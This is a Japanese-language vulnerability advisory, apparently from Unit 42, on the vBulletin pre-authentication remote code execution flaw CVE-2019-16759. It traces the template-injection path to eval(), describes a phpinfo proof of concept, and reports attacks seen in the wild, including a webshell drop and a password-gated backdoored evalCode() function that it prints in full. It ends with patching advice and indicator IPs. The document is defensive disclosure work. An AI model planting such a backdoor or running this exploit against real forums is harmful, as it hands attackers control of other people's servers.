This post is also available in: English (英語)
概要
2019年9月24日(米国時間)にvBulletinの新しいゼロデイ脆弱性が公開されました。vBulletinはプロプライエタリなインターネットフォーラムソフトウェアで、当該脆弱性に割り当てられたCVE番号はCVE-2019-16759です。公開から数週間が経過し、Unit 42のリサーチャーは、同脆弱性が積極的に悪用されている状況を確認しています。実行中のvBulletinサーバーのバージョンが5.0.0から5.5.4である場合、同脆弱性の悪用により認証を受けていない攻撃者が特権アクセスや制御を取得し、vBulletinサーバーの正当な所有者が自サイトにアクセスできなくなる可能性があります。10万件以上のサイトが、主要な企業や組織のフォーラムを含めてvBulletin上に構築されていますので、該当組織はただちに修正プログラムを適用する必要があります。
本稿では、脆弱性の根本要因に関する新しい詳細、脆弱性を実証する概念実証コード(PoC)、弊社で実際に観測した攻撃関連情報を共有します。
脆弱性の根本要因分析
本脆弱性はCVSS v3.1ベースでスコア9.8(緊急)と評価された認証前のリモートコード実行における脆弱性で、vBulletinバージョン5.0.0で導入されたAjaxのレンダリング機能によるPHPサーバーサイド テンプレート インジェクションにその原因があります。
エントリ ポイントとなるコードはindex.phpにあります。

このコードは、vB5_Frontend_ApplicationLight::isQuickRoute()を呼び出して、リクエストが「クイックルート」であるかどうかを確認しています。メソッドisQuickRoute()はincludes/vb5/frontend/applicationlight.php内にあります。

図2に示したように、この関数では、リクエストの先頭に"ajax/api''か"ajax/render"があれば真を返します。その後vB5_Frontend_ApplicationLightオブジェクトが初期化され、実行されます(図1参照)。

図3は、リクエストが"ajax/render"で始まる場合、ハンドラが"callRender"に設定されることを示しています。

図4は、callRender()関数が、$routeInfo[2]とarray_merge($_POST, $GET) からの$paramsを利用してテンプレートをレンダリングする様子を示しています。

図5は、vbulletin-style.xmlファイル内に"widget_php"というテンプレートがあることを示しています。このテンプレートによれば、$widgetConfig['code']が空でなく、かつ$vboptions['disable_php_rendering']が設定されていなければ、次のコードが実行されることになっています。
1 2 3 |
{vb:action evaledPHP, bbcode, evalCode, {vb:raw widgetConfig.code}} {vb:raw $evaledPHP} |
図6はevalCode()関数を示していますが、ここで$code内のテキストはPHPのeval()関数によって直接実行されています。
PoC
以上の分析にもとづいて、脆弱性が機能することを証明するエクスプロイトコードを組み立てることができます。パラメーター"routestring"は$_REQUESTからきているので、HTTPメソッド$_GET、$_POST、$_COOKIEのいずれかを介して送信することができます。また、"widgetConfig[code]"は$_GETと$_POSTを介して送信できます。そのため、ここでは単純なPoCとして次のコードを組み、GETリクエストかPOSTリクエストかで送信することにします。

図7は、GETリクエストを介してPoCコードが送信され、phpinfo()が実行された様子を示しています。

図8は、POSTリクエストを介してPoCコードが送信され、phpinfo()が実行された様子を示しています。
インターネット上で観測されたエクスプロイト
弊社の次世代ファイアウォール製品を使い、私たちは当該脆弱性を悪用する試みを複数検出しました。以下、そのなかから3件のエクスプロイトについてまとめます。
最初の例(図9)では、攻撃者がdie(@md5(HellovBulletin))を実行することで、対象サーバーが脆弱かどうかを判断しようとしています。ここでは、リクエストに余計な"="記号が1つ含まれていたことが原因でエクスプロイトは失敗しています。

また図10は、攻撃者がwebのルートディレクトリに"webconfig.txt.php"を設置しようとした様子を示しています。

図11は"webconfig.txt.php"の内容をBase64デコードしたものを示しています。内容は1行のPHPwebshellです。攻撃者はこのwebshellを使い、スクリプトに任意のコマンドを送信してホストに実行させられるようにしています。

図12は、攻撃者がファイルbbcode.phpを上書きしようとする3番目の例を示しています。

これが成功すればevalCode()は次のコードに置き換えられます。
1 2 3 4 5 6 7 |
function evalCode($code) { ob_start();if (isset($_REQUEST["epass"]) && $_REQUEST["epass"] == "2dmfrb28nu3c6s9j") { eval($code);} $output = ob_get_contents(); ob_end_clean(); return $output; } |
このコードは、侵害サイトが"epass"が値"2dmfrb28nu3c6s9j"のリクエストで送信された場合にのみ、evalCode()関数のコードを実行できるようにしています。これにより、この攻撃者以外は侵害済みサイトをコントロールできなくなります。結果としてボットネットのコマンド&コントロール(C2)サーバーは当該脆弱性を排他的に悪用し、標的のサーバーにコマンドを発行できるようになります。
結論 / 緩和策
この新しいvBulletinの脆弱性については、すでに複数のエクスプロイトが活発に悪用されています。vBulletinは、多くの著名組織に採用されている人気の高いソフトウェア パッケージであり、vBulletinのウェブサイトにはユーザー企業が掲載されているため、それらの企業がそのままうまみのある標的となってしまいます。
当該脆弱性を修正するために、Web管理者はvBulletinをバージョン5.5.2〜5.5.4のPatch Level 1に更新するか、管理パネルでPHP、静的HTML、広告モジュールのレンダリング設定を無効にする必要があります。
パロアルトネットワークス製品をご利用中のお客様は、次の製品とサービスによってこれら2つの脆弱性から保護されています。
- Threat Prevention シグネチャ 56632 と 56627
- PAN-DBは、以下を疑わしいIPアドレスであるとしてマークします。これらのIPアドレスは、当該脆弱性の悪用を積極的に試みているためです。
パロアルトネットワークスは本稿で見つかったファイルサンプルや侵害の兆候などをふくむ調査結果をCyber Threat Alliance(CTA サイバー脅威アライアンス)のメンバーと共有しました。CTA のメンバーはこのインテリジェンスを使用して、お客様に保護を迅速に提供し、悪意のあるサイバー攻撃者を体系的に阻害することができます。Cyber Threat Allianceの詳細については、www.cyberthreatalliance.org のWebサイトをご覧ください。
IOC
132[.]232[.]236[.]207
69[.]160[.]169[.]100
154[.]221[.]17[.]40
103[.]45[.]105[.]234
150[.]109[.]116[.]145
117[.]50[.]67[.]41
218[.]207[.]20[.]109
112[.]213[.]103[.]96
106[.]54[.]225[.]43
103[.]120[.]83[.]11
193[.]8[.]80[.]129
192[.]186[.]2[.]205
175[.]126[.]145[.]10
144[.]202[.]100[.]24
154[.]223[.]154[.]103
122[.]152[.]215[.]43
103[.]103[.]68[.]99
45[.]249[.]181[.]8
180[.]76[.]234[.]185
106[.]12[.]205[.]15
216[.]83[.]52[.]60
49[.]234[.]48[.]107
193[.]112[.]203[.]71
132[.]232[.]220[.]67
185[.]23[.]201[.]31
103[.]68[.]173[.]13
156[.]224[.]8[.]52
103[.]250[.]6[.]215
117[.]78[.]35[.]14
106[.]13[.]82[.]38